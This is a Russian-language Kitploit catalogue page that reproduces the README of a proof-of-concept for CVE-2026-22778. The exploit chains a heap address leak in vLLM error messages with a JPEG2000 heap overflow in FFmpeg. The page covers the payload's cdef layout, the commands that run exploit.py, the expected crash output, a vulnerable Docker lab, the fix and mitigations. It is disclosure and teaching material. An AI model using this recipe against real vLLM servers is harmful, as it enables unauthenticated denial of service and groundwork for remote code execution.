Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
EXPLOIT-CVE-2026-22778 — Доказательство концепции эксплуатации для CVE-2026-22778 — неаутентифицированного RCE в обработке видео vLLM, демонстрирующего раскрытие адреса кучи и переполнение буфера кучи в декодере JPEG2000 FFmpeg. Включает уязвимую лабораторию для авторизованного тестирования. | Kitploit
Инструменты/GitHubGitHub/joaovicdev/exploit-cve-2026-22778
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззингТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHub
joaovicdev/exploit-cve-2026-22778

EXPLOIT-CVE-2026-22778

Доказательство концепции эксплуатации для CVE-2026-22778 — неаутентифицированного RCE в обработке видео vLLM, демонстрирующего раскрытие адреса кучи и переполнение буфера кучи в декодере JPEG2000 FFmpeg. Включает уязвимую лабораторию для авторизованного тестирования.

Репозиторий
19 ч 14 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-22778 — RCE в vLLM при обработке видео

Уязвимая лаборатория и proof of concept для CVE-2026-22778 (CVSS 9.8) — цепочка удалённого выполнения кода без аутентификации в пути мультимодального приёма данных vLLM.

CVECVE-2026-22778
AdvisoryGHSA-4r2x-xpjr-7cvv
ЗатронутоvLLM >= 0.8.3, < 0.14.1 (развёртывания, обслуживающие видеомодели)
Исправлено вvLLM 0.14.1
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Базовая ошибкаCVE-2025-9951 — переполнение кучи в декодере JPEG2000 в FFmpeg

Уязвимость

Две отдельные ошибки, объединённые в цепочку. Стандартный vllm serve не имеет аутентификации, поэтому обе достижимы без аутентификации на /v1/chat/completions и /v1/invocations.

Этап 1 — раскрытие адреса кучи (обход ASLR)

Когда изображение не удаётся разобрать, Pillow вызывает исключение, сообщение которого содержит repr() объекта BytesIO, из которого выполнялось чтение:

root@kitploit:~
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>

vLLM превращал ошибки загрузки медиа в HTTP 400 и возвращал exc.detail клиенту без изменений (api_server.py):

root@kitploit:~
async def http_exception_handler(_: Request, exc: HTTPException):
    err = ErrorResponse(
        error=ErrorInfo(
            message=exc.detail,          # <-- утекает адрес дословно
            ...

Этот единственный адрес снижает энтропию ASLR кучи с ~32 бит примерно до 3, что делает этап 2 эксплуатируемым, а не просто аварией.

Этап 2 — переполнение кучи в декодере JPEG2000

video_url загружается сервером и передаётся в OpenCV:

root@kitploit:~
MediaConnector.load_from_url()      vllm/multimodal/utils.py
  -> OpenCVVideoBackend.load_bytes()   vllm/multimodal/video.py
    -> cv2.VideoCapture(BytesIO(data), backend, [])
      -> FFmpeg 5.1.x (встроен в opencv-python-headless < 4.13)

vLLM зафиксировал opencv-python-headless >= 4.11.0, который поставляет FFmpeg 5.1.x. Его декодер JPEG2000 выбирает целевую плоскость напрямую из блока определения каналов (cdef) файла — libavcodec/jpeg2000dec.c, write_frame_8:

root@kitploit:~
if (planar)
    plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...;   /* из компонента      */
int h = tile->comp[compno].coord[1][1] - ...;   /* не из плоскости!   */

plane контролируется атакующим, но w/h берутся из декодируемого компонента, и ничто не проверяет, что одно помещается в другое. Запись cdef вида cn=0, asoc=2 отправляет компонент 0 — плоскость яркости полного разрешения — в плоскость 1, плоскость цветности с субдискретизацией 2×2.

Для кадра 150×64, используемого в этом PoC:

размер
Компонент Y (запись)150 × 64 = 9 600 байт
Плоскость U (назначение)75 × 32 = 2 400 байт
Переполнение7 200 байт за пределами выделения

FFmpeg выделяет каждую плоскость как отдельный AVBuffer, поэтому переполнение проходит через соседние фрагменты кучи — включая структуры AVBuffer, содержащие указатель на функцию free. В сочетании с утечкой с этапа 1 перезапись этого указателя превращает повреждение памяти в выполнение кода.

Этот PoC останавливается на повреждении памяти. Он доказывает запись за пределами буфера, убивая процесс сервера. Подготовка кучи и перезапись указателя на функцию намеренно не реализованы.

Лаборатория

lab/app.py — минимальная реimplementation пути мультимодального приёма данных vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend и обработчик ошибок до патча, каждый с аннотацией исходного файла, который он повторяет. Среда выполнения модели заглушена: уязвимость полностью находится в приёме медиа, который выполняется до инференса и не требует GPU или весов модели.

Всё на пути атаки — настоящее: тот же вызов Pillow, который утекает адрес, и тот же вызов cv2.VideoCapture в непатченный opencv-python-headless==4.11.0.86 (FFmpeg 5.1.x, libavcodec 59.37.100).

Использование

root@kitploit:~
docker compose up -d --build
python3 exploit.py

Опции:

root@kitploit:~
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve                  # доставить полезную нагрузку по HTTP
python3 exploit.py --write-payload evil.jp2 # просто записать вредоносный файл

Эксплойт использует только стандартную библиотеку — без зависимостей.

Ожидаемый вывод

root@kitploit:~
[*] Этап 1 -- раскрытие адреса кучи через сообщение об ошибке PIL
    HTTP 400
    cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Утёкший адрес кучи: 0xffff8f555300
    ASLR обойдён: база кучи теперь известна с энтропией ~3 бита.

[*] Этап 2 -- переполнение кучи в декодере JPEG2000
    Цель жива: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
    Полезная нагрузка: 203 байта, JP2 150x64 yuv420p
    cdef отображает компонент 0 -> плоскость 1: запись 9600 байт в плоскость 2400 байт (переполнение 7200 байт)
    Запрос так и не завершился: удалённая сторона закрыла соединение без ответа
    Проверка /health, чтобы узнать, что случилось с воркером...
[+] Воркер был убит и перезапущен: boot_id 95b62f18-... -> 4494d28c-...
[+] Запись за пределами буфера подтверждена.

И на стороне сервера:

root@kitploit:~
$ docker compose logs vllm
cve-2026-22778-lab  | INFO:     POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab  | corrupted size vs. prev_size
cve-2026-22778-lab  | INFO:     Started server process [1]

Остановка:

root@kitploit:~
docker compose down

Полезная нагрузка

203 байта, созданные с нуля в build_payload(). Контейнер JP2, содержащий минимальный кодовый поток JPEG2000, объявляющий три компонента с субдискретизацией 4:2:0 (чтобы FFmpeg выделил кадр yuv420p), плюс блок cdef, который переназначает их:

root@kitploit:~
cn=0, typ=0, asoc=2   <-- компонент 0 (полное разрешение) в плоскость 1 (субдискретизированную)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3

Данные коэффициентов пусты. Декодер всё равно выделяет кадр из заголовка SIZ и всё равно выполняет цикл записи, поэтому реальные данные изображения не нужны.

Исправление

vLLM 0.14.1, через три PR:

  • #31987 — добавляет sanitize_message(), удаляющую at 0x<addr>> из repr объектов до того, как они попадут к клиенту.
  • #32319 — пропускает оставшиеся пути ошибок через неё.
  • #32668 — поднимает opencv-python-headless до >= 4.13.0, включая исправление FFmpeg для CVE-2025-9951.

Апстрим-FFmpeg теперь отклоняет карту cdef, которая не является перестановкой каналов, и выводит пиксельный формат из переназначенных индексов:

root@kitploit:~
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
    cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
    return AVERROR_INVALIDDATA;

Замена фиксации лаборатории на opencv-python-headless>=4.13.0 заставляет ту же полезную нагрузку безвредно завершаться с ошибкой error during processing marker segment ff51.

Если вы не можете обновиться: не обслуживайте видеомодели, включите аутентификацию перед API и ограничьте загрузку медиа с помощью --allowed-media-domains.

Примечания

  • Лаборатория автоматически перезапускается после каждого сбоя, поэтому PoC можно запускать многократно.
  • На Apple Silicon позвольте docker compose собирать для нативной архитектуры arm64 (по умолчанию). Принудительный --platform linux/amd64 запускает контейнер под эмуляцией, где аварийный процесс зависает вместо завершения, и сбой труднее наблюдать.

Ссылки

  • NVD — CVE-2026-22778
  • Advisory vLLM — GHSA-4r2x-xpjr-7cvv
  • Advisory FFmpeg — GHSA-39q3-f8jq-v6mg (CVE-2025-9951)

Отказ от ответственности

Только для образовательных целей и авторизованного тестирования безопасности. Запускайте его против лаборатории в этом репозитории или систем, на тестирование которых у вас есть явное разрешение.

Скачать инструмент